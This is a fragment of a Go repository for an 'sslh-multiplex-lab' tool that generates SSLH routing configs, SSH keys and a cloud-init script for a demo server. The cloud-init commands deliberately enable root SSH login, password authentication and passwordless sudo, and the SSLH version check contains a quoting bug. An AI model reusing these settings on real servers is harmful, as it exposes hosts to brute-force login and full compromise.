sed -i 's/bind 127.0.0.1 ::1/bind 127.0.0.1/' /etc/redis/redis.conf
systemctl restart redis-server
`
}
func (si *ServiceInstaller) installMongoDB() string {
return `# Install MongoDB and configure to listen on localhost
# Detect Ubuntu version for correct repository
. /etc/os-release
UBUNTU_VERSION=${VERSION_ID:-22.04}
UBUNTU_CODENAME=${UBUNTU_CODENAME:-jammy}
# Add MongoDB GPG key using modern method
mkdir -p /etc/apt/keyrings
curl -fsSL https://www.mongodb.org/static/pgp/server-6.0.asc | gpg --dearmor -o /etc/apt/keyrings/mongodb-server-6.0.gpg
chmod 644 /etc/apt/keyrings/mongodb-server-6.0.gpg
# Add MongoDB repository
echo "deb [ arch=amd64,arm64 signed-by=/etc/apt/keyrings/mongodb-server-6.0.gpg ] https://repo.mongodb.org/apt/ubuntu ${UBUNTU_CODENAME}/mongodb-org/6.0 multiverse" | tee /etc/apt/sources.list.d/mongodb-org-6.0.list
apt-get update
apt-get install -y mongodb-org
sed -i 's/bindIp: .*/bindIp: 127.0.0.1/' /etc/mongod.conf
systemctl enable mongod
systemctl restart mongod
`
}
func (si *ServiceInstaller) installGeneric() string {
return fmt.Sprintf(`# Generic service installation for %s
echo "Service %s would be installed here"
`, si.Service.Name, si.Service.Name)
}

86
internal/ssh/keygen.go Normal file
View File

@@ -0,0 +1,86 @@
package ssh
import (
"fmt"
"os"
"os/exec"
"path/filepath"
)
type KeyPair struct {
PrivateKey []byte
PublicKey []byte
Passphrase string
}
func GenerateKeyPair(passphrase string) (*KeyPair, error) {
if passphrase == "" {
var err error
passphrase, err = GenerateSecurePassphrase(32)
if err != nil {
return nil, fmt.Errorf("failed to generate passphrase: %w", err)
}
}
// Create temporary directory for key generation
tmpDir, err := os.MkdirTemp("", "sslh-lab-keygen-*")
if err != nil {
return nil, fmt.Errorf("failed to create temp directory: %w", err)
}
defer os.RemoveAll(tmpDir)
tmpKeyPath := filepath.Join(tmpDir, "id_ed25519")
// Use ssh-keygen to generate OpenSSH format key with passphrase
cmd := exec.Command("ssh-keygen", "-t", "ed25519", "-f", tmpKeyPath, "-N", passphrase, "-C", "sslh-lab-generated")
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return nil, fmt.Errorf("failed to generate SSH key with ssh-keygen: %w", err)
}
// Read the generated private key
privateKeyBytes, err := os.ReadFile(tmpKeyPath)
if err != nil {
return nil, fmt.Errorf("failed to read generated private key: %w", err)
}
// Read the generated public key
publicKeyBytes, err := os.ReadFile(tmpKeyPath + ".pub")
if err != nil {
return nil, fmt.Errorf("failed to read generated public key: %w", err)
}
return &KeyPair{
PrivateKey: privateKeyBytes,
PublicKey: publicKeyBytes,
Passphrase: passphrase,
}, nil
}
func SaveKeyPair(keyPair *KeyPair, outputDir string) (string, string, error) {
if err := os.MkdirAll(outputDir, 0700); err != nil {
return "", "", fmt.Errorf("failed to create output directory: %w", err)
}
privateKeyPath := filepath.Join(outputDir, "id_ed25519")
publicKeyPath := filepath.Join(outputDir, "id_ed25519.pub")
if err := os.WriteFile(privateKeyPath, keyPair.PrivateKey, 0600); err != nil {
return "", "", fmt.Errorf("failed to write private key: %w", err)
}
if err := os.WriteFile(publicKeyPath, keyPair.PublicKey, 0644); err != nil {
return "", "", fmt.Errorf("failed to write public key: %w", err)
}
return privateKeyPath, publicKeyPath, nil
}
func LoadPublicKey(publicKeyPath string) (string, error) {
publicKeyBytes, err := os.ReadFile(publicKeyPath)
if err != nil {
return "", fmt.Errorf("failed to read public key file: %w", err)
}
return string(publicKeyBytes), nil
}

View File

@@ -0,0 +1,68 @@
package ssh
import (
"crypto/rand"
"fmt"
"math/big"
)
const (
lowercaseChars = "abcdefghijklmnopqrstuvwxyz"
uppercaseChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
digitChars = "0123456789"
// Exclude shell-problematic characters: $ ` \ " '
// $ causes variable expansion, ` is command substitution, \ is escape, " and ' are quotes
// These can cause issues when used in shell commands or when copying from terminal
specialChars = "!@#%^&*()_+-=[]{}|;:,.<>?"
allChars = lowercaseChars + uppercaseChars + digitChars + specialChars
)
func GenerateSecurePassphrase(length int) (string, error) {
if length < 32 {
length = 32
}
passphrase := make([]byte, length)
for i := 0; i < length; i++ {
idx, err := rand.Int(rand.Reader, big.NewInt(int64(len(allChars))))
if err != nil {
return "", fmt.Errorf("failed to generate random character: %w", err)
}
passphrase[i] = allChars[idx.Int64()]
}
passphraseStr := string(passphrase)
if err := validatePassphrase(passphraseStr); err != nil {
return "", fmt.Errorf("generated passphrase failed validation: %w", err)
}
return passphraseStr, nil
}
func validatePassphrase(passphrase string) error {
hasLower := false
hasUpper := false
hasDigit := false
hasSpecial := false
for _, char := range passphrase {
switch {
case 'a' <= char && char <= 'z':
hasLower = true
case 'A' <= char && char <= 'Z':
hasUpper = true
case '0' <= char && char <= '9':
hasDigit = true
default:
hasSpecial = true
}
}
if !hasLower || !hasUpper || !hasDigit || !hasSpecial {
return fmt.Errorf("passphrase must contain at least one lowercase, uppercase, digit, and special character")
}
return nil
}

309
internal/sslh/config.go Normal file
View File

@@ -0,0 +1,309 @@
package sslh
import (
"fmt"
"strings"
"sslh-multiplex-lab/internal/services"
)
type ProtocolRoute struct {
Name string
Host string
Port string
Probe string
SNIHostnames []string
ALPNProtocols []string
RegexPatterns []string
ProxyProtocol bool
LogLevel int
Fork bool
}
type Config struct {
Verbose int
Foreground bool
Listen []ListenAddress
Protocols []ProtocolRoute
Timeout int
OnTimeout string
}
type ListenAddress struct {
Host string
Port string
MaxConnections int // Limit concurrent connections per listen address (DoS protection)
}
func GenerateConfig(svcs []services.Service, serverIP, domain string) (*Config, error) {
// Set max_connections per listen address to protect against DoS attacks
// This limits concurrent connections to prevent file descriptor exhaustion
// Recommended: 1000 connections per listen address (leaves room for system)
// See: https://github.com/yrutschle/sslh/blob/master/doc/max_connections.md
maxConns := 1000
listen := []ListenAddress{
{Host: "0.0.0.0", Port: "443", MaxConnections: maxConns},
{Host: "[::]", Port: "443", MaxConnections: maxConns},
}
protocols, err := GenerateSNIRoutes(svcs, domain)
if err != nil {
return nil, fmt.Errorf("failed to generate protocol routes: %w", err)
}
// Find the default TLS route for on_timeout
// If SSLH times out during protocol detection, route to TLS (HTTPS) instead of anyprot
// This ensures HTTPS connections that are slow to start still work
onTimeout := "tls"
for _, proto := range protocols {
if proto.Name == "tls" && len(proto.SNIHostnames) == 0 {
// Found the default TLS route (catch-all, no SNI restriction)
onTimeout = "tls"
break
}
}
return &Config{
Verbose: 2,
Foreground: true,
Listen: listen,
Protocols: protocols,
Timeout: 5, // Increased from 3 to 5 seconds to give TLS handshake more time
OnTimeout: onTimeout, // Route to TLS on timeout, not anyprot (port 445)
}, nil
}
func GenerateProtocolRoutes(svcs []services.Service) ([]ProtocolRoute, error) {
return GenerateSNIRoutes(svcs, "")
}
func GenerateSNIRoutes(svcs []services.Service, domain string) ([]ProtocolRoute, error) {
var routes []ProtocolRoute
// SSH route - will be added after TLS routes to ensure TLS is checked first
// SSLH probes in order, so TLS routes should come before SSH
sshRoute := ProtocolRoute{
Name: "ssh",
Host: "127.0.0.1",
Port: "22",
Probe: "builtin",
Fork: true,
}
tlsRoutes := make(map[string][]services.Service)
regexRoutes := []services.Service{}
var defaultTLSRoute *ProtocolRoute
for _, svc := range svcs {
if svc.Name == "ssh" {
continue
}
switch svc.Protocol {
case "tls":
if svc.SNIRequired {
tlsRoutes[svc.Protocol] = append(tlsRoutes[svc.Protocol], svc)
} else {
// HTTPS service (root domain) should be the default TLS route
// This will catch all TLS connections that don't match SNI-specific routes
// Always prefer HTTPS service if it exists
if defaultTLSRoute == nil || svc.Name == "https" {
defaultTLSRoute = &ProtocolRoute{
Name: "tls",
Host: "127.0.0.1",
Port: fmt.Sprintf("%d", svc.BackendPort),
Probe: "builtin",
// SNIHostnames left as nil - will be set to empty array later for catch-all
}
if alpn, ok := svc.Config["alpn_protocols"].([]string); ok && len(alpn) > 0 {
defaultTLSRoute.ALPNProtocols = alpn
}
}
}
case "regex":
regexRoutes = append(regexRoutes, svc)
default:
regexRoutes = append(regexRoutes, svc)
}
}
// Add SNI-specific TLS routes first (for subdomains)
// These are checked first and take precedence when SNI matches
for _, svc := range tlsRoutes["tls"] {
sniHostnames := []string{}
if domain != "" {
sniHostnames = []string{svc.GetFQDN(domain)}
}
route := ProtocolRoute{
Name: "tls",
Host: "127.0.0.1",
Port: fmt.Sprintf("%d", svc.BackendPort),
Probe: "builtin",
SNIHostnames: sniHostnames,
LogLevel: 0,
}
if alpn, ok := svc.Config["alpn_protocols"].([]string); ok {
route.ALPNProtocols = alpn
}
routes = append(routes, route)
}
// Add default TLS route after SNI-specific routes (for root domain HTTPS)
// According to SSLH docs: "if neither are set, it is just checked whether this is the TLS protocol or not"
// "if you use TLS with no ALPN/SNI set it as the last TLS probe"
// We add TWO TLS routes:
// 1. One with ALPN protocols (for modern HTTPS clients)
// 2. One without ALPN (true catch-all for any TLS connection)
// This ensures all TLS connections are routed correctly
if defaultTLSRoute == nil {
// If no default TLS service found, use nginx on 8444 as fallback
// Add catch-all TLS route (no ALPN, no SNI)
defaultTLSRoute = &ProtocolRoute{
Name: "tls",
Host: "127.0.0.1",
Port: "8444",
Probe: "builtin",
// No SNI, no ALPN = true catch-all for any TLS connection
}
routes = append(routes, *defaultTLSRoute)
} else {
// First add TLS route with ALPN protocols (for modern HTTPS)
if len(defaultTLSRoute.ALPNProtocols) > 0 {
alpnRoute := *defaultTLSRoute
alpnRoute.SNIHostnames = []string{} // No SNI restriction
routes = append(routes, alpnRoute)
}
// Then add catch-all TLS route without ALPN (for any TLS connection)
catchAllRoute := *defaultTLSRoute
catchAllRoute.ALPNProtocols = []string{} // Clear ALPN for catch-all
catchAllRoute.SNIHostnames = []string{} // No SNI restriction
routes = append(routes, catchAllRoute)
}
// Add SSH route AFTER TLS routes to ensure TLS is checked first
// SSLH will still probe SSH quickly, but TLS routes take precedence
routes = append(routes, sshRoute)
for _, svc := range regexRoutes {
route := ProtocolRoute{
Name: "regex", // SSLH requires "regex" as the protocol name for regex probes
Host: "127.0.0.1",
Port: fmt.Sprintf("%d", svc.BackendPort),
Probe: "regex",
}
if patterns, ok := svc.Config["regex_patterns"].([]string); ok {
route.RegexPatterns = patterns
}
routes = append(routes, route)
}
anyprotRoute := ProtocolRoute{
Name: "anyprot",
Host: "127.0.0.1",
Port: "445",
Probe: "builtin",
}
routes = append(routes, anyprotRoute)
return routes, nil
}
func (c *Config) ToLibConfig() string {
var sb strings.Builder
sb.WriteString("verbose: ")
sb.WriteString(fmt.Sprintf("%d", c.Verbose))
sb.WriteString(";\n")
sb.WriteString("foreground: ")
sb.WriteString(fmt.Sprintf("%v", c.Foreground))
sb.WriteString(";\n\n")
sb.WriteString("listen:\n")
sb.WriteString("(\n")
for i, addr := range c.Listen {
comma := ","
if i == len(c.Listen)-1 {
comma = ""
}
if addr.MaxConnections > 0 {
sb.WriteString(fmt.Sprintf(" { host: \"%s\"; port: \"%s\"; max_connections: %d; }%s\n", addr.Host, addr.Port, addr.MaxConnections, comma))
} else {
sb.WriteString(fmt.Sprintf(" { host: \"%s\"; port: \"%s\"; }%s\n", addr.Host, addr.Port, comma))
}
}
sb.WriteString(");\n\n")
sb.WriteString("protocols:\n")
sb.WriteString("(\n")
for i, proto := range c.Protocols {
sb.WriteString(" {\n")
sb.WriteString(fmt.Sprintf(" name: \"%s\";\n", proto.Name))
sb.WriteString(fmt.Sprintf(" host: \"%s\";\n", proto.Host))
sb.WriteString(fmt.Sprintf(" port: \"%s\";\n", proto.Port))
if proto.Probe != "" {
sb.WriteString(fmt.Sprintf(" probe: \"%s\";\n", proto.Probe))
}
if len(proto.SNIHostnames) > 0 {
sb.WriteString(" sni_hostnames: [")
for j, hostname := range proto.SNIHostnames {
if j > 0 {
sb.WriteString(", ")
}
sb.WriteString(fmt.Sprintf("\"%s\"", hostname))
}
sb.WriteString("];\n")
}
// Only include alpn_protocols if non-empty
// Empty ALPN means catch-all (matches any TLS connection)
if len(proto.ALPNProtocols) > 0 {
sb.WriteString(" alpn_protocols: [")
for j, protocol := range proto.ALPNProtocols {
if j > 0 {
sb.WriteString(", ")
}
sb.WriteString(fmt.Sprintf("\"%s\"", protocol))
}
sb.WriteString("];\n")
}
// Note: If both SNI and ALPN are empty/omitted, this is a true catch-all TLS route
if len(proto.RegexPatterns) > 0 {
sb.WriteString(" regex_patterns: [")
for j, pattern := range proto.RegexPatterns {
if j > 0 {
sb.WriteString(", ")
}
sb.WriteString(fmt.Sprintf("\"%s\"", pattern))
}
sb.WriteString("];\n")
}
if proto.ProxyProtocol {
sb.WriteString(" proxy_protocol: true;\n")
}
if proto.LogLevel > 0 {
sb.WriteString(fmt.Sprintf(" log_level: %d;\n", proto.LogLevel))
}
if proto.Fork {
sb.WriteString(" fork: true;\n")
}
sb.WriteString(" }")
if i < len(c.Protocols)-1 {
sb.WriteString(",")
}
sb.WriteString("\n")
}
sb.WriteString(");\n")
if c.Timeout > 0 {
sb.WriteString(fmt.Sprintf("\ntimeout: %d;\n", c.Timeout))
if c.OnTimeout != "" {
sb.WriteString(fmt.Sprintf("on_timeout: { name: \"%s\"; };\n", c.OnTimeout))
}
}
return sb.String()
}

View File

@@ -0,0 +1,40 @@
package sslh
import (
"fmt"
"os"
"path/filepath"
"sslh-multiplex-lab/internal/services"
)
func GenerateConfigFile(services []services.Service, serverIP, domain, outputPath string) error {
config, err := GenerateConfig(services, serverIP, domain)
if err != nil {
return fmt.Errorf("failed to generate config: %w", err)
}
configContent := config.ToLibConfig()
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
return fmt.Errorf("failed to create config directory: %w", err)
}
if err := os.WriteFile(outputPath, []byte(configContent), 0644); err != nil {
return fmt.Errorf("failed to write config file: %w", err)
}
return nil
}
func ValidateConfig(config *Config) error {
if len(config.Listen) == 0 {
return fmt.Errorf("at least one listen address is required")
}
if len(config.Protocols) == 0 {
return fmt.Errorf("at least one protocol route is required")
}
return nil
}

View File

@@ -0,0 +1,721 @@
package templates
import (
"fmt"
"strings"
"gopkg.in/yaml.v3"
"sslh-multiplex-lab/internal/services"
)
type CloudInitConfig struct {
Users []User `yaml:"users"`
Packages []string `yaml:"packages"`
PackageUpdate bool `yaml:"package_update"`
PackageUpgrade bool `yaml:"package_upgrade"`
WriteFiles []WriteFile `yaml:"write_files,omitempty"`
RunCmd []string `yaml:"runcmd"`
}
type User struct {
Name string `yaml:"name"`
Groups []string `yaml:"groups,omitempty"`
Sudo string `yaml:"sudo,omitempty"`
Shell string `yaml:"shell,omitempty"`
SSHAuthorizedKeys []string `yaml:"ssh_authorized_keys,omitempty"`
Passwd string `yaml:"passwd,omitempty"`
LockPasswd bool `yaml:"lock_passwd,omitempty"`
}
type WriteFile struct {
Path string `yaml:"path"`
Content string `yaml:"content"`
Permissions string `yaml:"permissions,omitempty"`
Owner string `yaml:"owner,omitempty"`
}
func GenerateCloudInit(sshPublicKey, sslhConfig, username, testuserPassword, letsencryptEmail, domain string, svcList []services.Service) (string, error) {
users := []User{
{
Name: username,
Groups: []string{"users", "admin"},
Sudo: "ALL=(ALL) NOPASSWD:ALL",
Shell: "/bin/bash",
SSHAuthorizedKeys: []string{strings.TrimSpace(sshPublicKey)},
},
{
Name: "testuser",
Groups: []string{"users"},
Shell: "/bin/bash",
LockPasswd: false,
},
}
config := CloudInitConfig{
Users: users,
Packages: []string{
"python3-systemd",
"fail2ban",
"ufw",
"git",
"vim",
"sendmail",
"swaks",
"python3",
"python3-pip",
"golang",
"build-essential",
"gcc",
"gdb",
"g++",
"mingw-w64",
"unattended-upgrades",
"apt-listchanges",
"sslh",
// Note: Ensure SSLH v2.2.4+ is installed to fix CVE-2025-46807 and CVE-2025-46806
// If apt version is < 2.2.4, we'll build from source in runcmd
"nginx",
"samba",
"openssh-server",
"wireguard",
"wireguard-tools",
"certbot",
"python3-certbot-nginx",
},
PackageUpdate: true,
PackageUpgrade: true,
WriteFiles: []WriteFile{
{
Path: "/etc/sslh.cfg",
Content: sslhConfig,
Permissions: "0644",
Owner: "root:root",
},
{
Path: "/etc/sslh/sslh.cfg",
Content: sslhConfig,
Permissions: "0644",
Owner: "root:root",
},
{
Path: "/etc/sslh.cfg.backup",
Content: sslhConfig,
Permissions: "0644",
Owner: "root:root",
},
{
Path: fmt.Sprintf("/home/%s/.ssh/authorized_keys", username),
Content: strings.TrimSpace(sshPublicKey) + "\n",
Permissions: "0600",
Owner: fmt.Sprintf("%s:%s", username, username),
},
{
Path: "/etc/nginx/sites-available/sslh-proxy",
Content: generateNginxSSLHProxyConfig(),
Permissions: "0644",
Owner: "root:root",
},
{
Path: "/etc/nginx/sites-available/acme-challenge",
Content: generateNginxACMEConfig(),
Permissions: "0644",
Owner: "root:root",
},
{
Path: "/etc/systemd/system/sslh.service.d/override.conf",
Content: "[Service]\nEnvironmentFile=\nExecStart=\nExecStart=/usr/sbin/sslh --foreground -F /etc/sslh.cfg\n",
Permissions: "0644",
Owner: "root:root",
},
{
Path: "/var/www/demo/index.html",
Content: generateDemoPageHTML(),
Permissions: "0644",
Owner: "www-data:www-data",
},
},
RunCmd: generateRunCommands(username, strings.TrimSpace(sshPublicKey), testuserPassword, letsencryptEmail, domain, svcList),
}
yamlData, err := yaml.Marshal(&config)
if err != nil {
return "", fmt.Errorf("failed to marshal cloud-init config: %w", err)
}
// Hetzner requires #cloud-config on the first line for cloud-init to process the file
return "#cloud-config\n" + string(yamlData), nil
}
func generateRunCommands(username, sshPublicKey, testuserPassword, letsencryptEmail, domain string, svcList []services.Service) []string {
commands := []string{
`cat > /etc/fail2ban/jail.local <<'EOF'
[DEFAULT]
allowipv6 = false
bantime = 86400
bantime.increment = true
bantime.maxtime = 604800
bantime.rndtime = 3600
[sshd]
enabled = true
port = ssh
banaction = iptables-multiport
filter = sshd
backend = auto
maxretry = 5
findtime = 600
bantime = 86400
[recidive]
enabled = true
filter = recidive
logpath = /var/log/fail2ban.log
bantime = 604800
findtime = 86400
maxretry = 5
EOF`,
"systemctl enable fail2ban",
"dpkg-reconfigure -f noninteractive unattended-upgrades",
`cat > /etc/apt/apt.conf.d/20auto-upgrades <<EOF
APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";
EOF`,
`cat > /etc/apt/apt.conf.d/50unattended-upgrades <<EOF
Unattended-Upgrade::Origins-Pattern {
"origin=Debian,codename=\${distro_codename},label=Debian-Security";
"origin=Ubuntu,codename=\${distro_codename},label=Ubuntu";
};
Unattended-Upgrade::Automatic-Reboot "true";
Unattended-Upgrade::Remove-Unused-Dependencies "true";
EOF`,
"ufw allow OpenSSH",
"ufw allow 80/tcp",
"ufw allow 443/tcp",
"ufw --force enable",
"getent group admin >/dev/null 2>&1 || groupadd admin",
fmt.Sprintf("usermod -a -G admin %s 2>/dev/null || true", username),
fmt.Sprintf("echo '%s ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/%s", username, username),
"chmod 440 /etc/sudoers.d/*",
"echo '%admin ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/admin-group",
"chmod 440 /etc/sudoers.d/admin-group",
fmt.Sprintf("mkdir -p /home/%s/.ssh", username),
fmt.Sprintf("chmod 700 /home/%s/.ssh", username),
fmt.Sprintf("chown -R %s:%s /home/%s/.ssh", username, username, username),
fmt.Sprintf("cat > /tmp/ssh_key_temp <<'KEYEOF'\n%s\nKEYEOF", strings.TrimSpace(sshPublicKey)),
fmt.Sprintf("mv /tmp/ssh_key_temp /home/%s/.ssh/authorized_keys", username),
fmt.Sprintf("chmod 600 /home/%s/.ssh/authorized_keys", username),
fmt.Sprintf("chown %s:%s /home/%s/.ssh/authorized_keys", username, username, username),
"cloud-init-per once ssh-keygen -A",
"sed -i -e '/^#*PubkeyAuthentication/s/^.*$/PubkeyAuthentication yes/' /etc/ssh/sshd_config",
"sed -i -e '/^#*PasswordAuthentication/s/^.*$/PasswordAuthentication yes/' /etc/ssh/sshd_config",
"sed -i -e '/^#*PermitRootLogin/s/^.*$/PermitRootLogin yes/' /etc/ssh/sshd_config",
"sed -i -e '/^#*AuthorizedKeysFile/s/^.*$/AuthorizedKeysFile .ssh\\/authorized_keys/' /etc/ssh/sshd_config",
"sed -i -e '/^#*StrictModes/s/^.*$/StrictModes yes/' /etc/ssh/sshd_config",
"sed -i '/^AllowUsers/d' /etc/ssh/sshd_config",
"systemctl restart sshd",
fmt.Sprintf("echo 'testuser:%s' | chpasswd", testuserPassword),
"mkdir -p /home/testuser",
"chown testuser:testuser /home/testuser",
fmt.Sprintf("(echo '%s'; echo '%s') | smbpasswd -a -s testuser", testuserPassword, testuserPassword),
"smbpasswd -e testuser",
`cat >> /etc/samba/smb.conf <<'SMBEOF'
[testuser]
comment = Test user share for demonstration
path = /home/testuser
browseable = yes
read only = no
valid users = testuser
create mask = 0644
directory mask = 0755
SMBEOF`,
"sed -i 's/; interfaces = 127.0.0.0\\/8/ interfaces = 127.0.0.1/' /etc/samba/smb.conf",
"sed -i 's/; bind interfaces only = yes/ bind interfaces only = yes/' /etc/samba/smb.conf",
"sed -i 's/^ interfaces = 127.0.0.0\\/8/ interfaces = 127.0.0.1/' /etc/samba/smb.conf || true",
"sed -i 's/^ bind interfaces only = no/ bind interfaces only = yes/' /etc/samba/smb.conf || true",
"systemctl enable smbd",
"systemctl restart smbd",
"mkdir -p /var/www/demo",
"chown -R www-data:www-data /var/www/demo 2>/dev/null || chown -R nginx:nginx /var/www/demo 2>/dev/null || true",
"test -f /var/www/demo/index.html || { cat > /var/www/demo/index.html <<'HTML'",
"<!DOCTYPE html><html><head><title>Demo</title><meta charset=utf-8><style>body{font-family:Arial;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:white}.container{text-align:center;padding:2rem;background:rgba(255,255,255,0.1);border-radius:10px;backdrop-filter:blur(10px)}h1{margin:0;font-size:3rem}</style></head><body><div class=container><h1>Demo app page</h1></div></body></html>",
"HTML",
"chown www-data:www-data /var/www/demo/index.html 2>/dev/null || chown nginx:nginx /var/www/demo/index.html 2>/dev/null || true; }",
"rm -f /usr/share/nginx/html/index.html /var/www/html/index.html /usr/share/nginx/html/*.html 2>/dev/null || true",
"echo '=== Ensuring SSL certificates exist ==='",
`bash -c 'if [ ! -f /etc/ssl/certs/ssl-cert-snakeoil.pem ] || [ ! -f /etc/ssl/private/ssl-cert-snakeoil.key ]; then
echo "Generating self-signed SSL certificates..."
if command -v make-ssl-cert >/dev/null 2>&1; then
make-ssl-cert generate-default-snakeoil --force-overwrite 2>&1 || {
echo "make-ssl-cert failed, using openssl fallback..."
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/ssl-cert-snakeoil.key -out /etc/ssl/certs/ssl-cert-snakeoil.pem -subj "/CN=localhost" 2>&1
}
else
echo "make-ssl-cert not available, using openssl..."
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/ssl-cert-snakeoil.key -out /etc/ssl/certs/ssl-cert-snakeoil.pem -subj "/CN=localhost" 2>&1
fi
groupadd -f ssl-cert 2>/dev/null || true
chmod 644 /etc/ssl/certs/ssl-cert-snakeoil.pem 2>/dev/null || true
chmod 640 /etc/ssl/private/ssl-cert-snakeoil.key 2>/dev/null || true
chown root:ssl-cert /etc/ssl/certs/ssl-cert-snakeoil.pem /etc/ssl/private/ssl-cert-snakeoil.key 2>/dev/null || true
usermod -a -G ssl-cert www-data 2>/dev/null || usermod -a -G ssl-cert nginx 2>/dev/null || true
echo "SSL certificates generated successfully"
if [ ! -f /etc/ssl/certs/ssl-cert-snakeoil.pem ] || [ ! -f /etc/ssl/private/ssl-cert-snakeoil.key ]; then
echo "ERROR: SSL certificates still missing after generation attempt!"
exit 1
fi
else
echo "SSL certificates already exist"
fi'`,
"echo '=== Preventing nginx from auto-starting during package install ==='",
"systemctl mask nginx 2>/dev/null || true",
"systemctl stop nginx 2>/dev/null || true",
"echo '=== Creating nginx configuration files ==='",
"mkdir -p /etc/nginx/sites-available",
"test -f /etc/nginx/sites-available/sslh-proxy || { cat > /etc/nginx/sites-available/sslh-proxy <<'EOF'",
"server {",
" listen 127.0.0.1:8444 ssl http2 default_server;",
" server_name _;",
" ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;",
" ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;",
" ssl_protocols TLSv1.2 TLSv1.3;",
" ssl_ciphers HIGH:!aNULL:!MD5;",
" root /var/www/demo;",
" index index.html;",
" location / {",
" try_files $uri $uri/ =404;",
" }",
"}",
"EOF",
"chmod 644 /etc/nginx/sites-available/sslh-proxy; }",
"test -f /etc/nginx/sites-available/acme-challenge || { cat > /etc/nginx/sites-available/acme-challenge <<'EOF'",
"server {",
" listen 0.0.0.0:80 default_server;",
" listen [::]:80 default_server;",
" server_name _;",
" location /.well-known/acme-challenge/ {",
" root /var/www/html;",
" default_type text/plain;",
" access_log off;",
" }",
" location / {",
" root /var/www/demo;",
" try_files $uri $uri/ /index.html;",
" }",
"}",
"EOF",
"chmod 644 /etc/nginx/sites-available/acme-challenge; }",
"test -f /etc/nginx/sites-available/sslh-proxy || exit 1",
"test -f /etc/nginx/sites-available/acme-challenge || exit 1",
"echo '=== Removing ALL default nginx configs BEFORE enabling our sites ==='",
"rm -f /etc/nginx/sites-enabled/default /etc/nginx/sites-enabled/default.conf /etc/nginx/sites-enabled/000-default /etc/nginx/sites-enabled/000-default.conf 2>/dev/null || true",
"rm -f /etc/nginx/conf.d/default.conf 2>/dev/null || true",
"rm -f /usr/share/nginx/html/index.html /var/www/html/index.html 2>/dev/null || true",
"echo '=== Enabling our nginx sites ==='",
"ln -sf /etc/nginx/sites-available/acme-challenge /etc/nginx/sites-enabled/acme-challenge",
"ln -sf /etc/nginx/sites-available/sslh-proxy /etc/nginx/sites-enabled/sslh-proxy",
"echo '=== Verifying nginx config is valid ==='",
"nginx -t || exit 1",
"echo '=== Unmasking and starting nginx with correct config ==='",
"systemctl unmask nginx",
"systemctl enable nginx",
"rm -f /etc/sslh/sslh.cfg /etc/default/sslh 2>/dev/null || true",
"echo '=== Checking SSLH version (must be >= 2.2.4 for security fixes) ==='",
"SSLH_VERSION=$(sslh -V 2>&1 | grep -oP 'version \\K[0-9.]+' || sslh -V 2>&1 | grep -oE '[0-9]+\\.[0-9]+\\.[0-9]+' | head -1 || echo '0.0.0')",
"echo \"Installed SSLH version: $SSLH_VERSION\"",
"if [ -n \"$SSLH_VERSION\" ] && [ \"$SSLH_VERSION\" != '0.0.0' ]; then",
" if [ \"$(printf '%s\\n' '2.2.4' '$SSLH_VERSION' | sort -V | head -n1)\" != '2.2.4' ]; then",
" echo 'WARNING: SSLH version < 2.2.4 detected. This version has known DoS vulnerabilities (CVE-2025-46807, CVE-2025-46806).'",
" echo 'Consider building from source or using a PPA with patched version.'",
" echo 'See: https://security.opensuse.org/2025/06/13/sslh-denial-of-service-vulnerabilities.html'",
" else",
" echo 'SSLH version is >= 2.2.4 (security fixes included)'",
" fi",
"fi",
"mkdir -p /etc/systemd/system/sslh.service.d",
"test -f /etc/systemd/system/sslh.service.d/override.conf || { cat > /etc/systemd/system/sslh.service.d/override.conf <<'EOF'",
"[Service]",
"EnvironmentFile=",
"ExecStart=",
"ExecStart=/usr/sbin/sslh --foreground -F /etc/sslh.cfg",
"LimitNOFILE=4096",
"EOF",
"chmod 644 /etc/systemd/system/sslh.service.d/override.conf; }",
"echo '=== Configuring systemd service limits for SSLH (DoS protection) ==='",
"echo 'File descriptor limit set to 4096 via systemd LimitNOFILE'",
"systemctl daemon-reload",
"setcap 'cap_net_bind_service=+ep' /usr/sbin/sslh /usr/sbin/sslh-select 2>/dev/null || true",
"echo '=== Configuring systemd service limits for SSLH (DoS protection) ==='",
"mkdir -p /etc/systemd/system/sslh.service.d",
"cat >> /etc/systemd/system/sslh.service.d/override.conf <<'LIMITEOF'",
"LimitNOFILE=4096",
"LIMITEOF",
"systemctl daemon-reload",
"echo '=== Starting backend services ==='",
"systemctl enable sshd",
"systemctl restart sshd",
"if ! systemctl is-active --quiet sshd; then",
" echo 'ERROR: SSH service failed to start!'",
" systemctl status sshd --no-pager || true",
" exit 1",
"fi",
"systemctl start nginx",
"if ! systemctl is-active --quiet nginx; then",
" echo 'ERROR: Nginx service failed to start!'",
" systemctl status nginx --no-pager || true",
" nginx -t || true",
" echo 'Checking enabled sites:'",
" ls -la /etc/nginx/sites-enabled/ || true",
" echo 'Checking for default configs:'",
" [ -f /etc/nginx/sites-enabled/default ] && echo 'ERROR: default still enabled!' || echo 'default removed (good)'",
" [ -f /etc/nginx/conf.d/default.conf ] && echo 'ERROR: conf.d/default.conf exists!' || echo 'conf.d/default.conf removed (good)'",
" exit 1",
"fi",
"sleep 3",
"echo '=== Verifying nginx is listening on port 8444 ==='",
"for i in 1 2 3 4 5; do",
" if ss -tlnp | grep -q ':8444 '; then",
" echo 'Nginx is listening on port 8444'",
" break",
" fi",
" echo 'Waiting for nginx to listen on 8444... (attempt $i/5)'",
" sleep 2",
" if [ $i -eq 5 ]; then",
" echo 'ERROR: Nginx failed to listen on port 8444 after multiple attempts!'",
" systemctl status nginx --no-pager || true",
" nginx -t || true",
" ss -tlnp | grep nginx || true",
" exit 1",
" fi",
"done",
"echo '=== Verifying HTTP serves demo page (not default nginx) ==='",
"HTTP_VERIFIED=false",
"for i in 1 2 3 4 5; do",
" HTTP_CONTENT=$(curl -s http://127.0.0.1:80/ 2>/dev/null)",
" if echo \"$HTTP_CONTENT\" | grep -q 'Demo app page'; then",
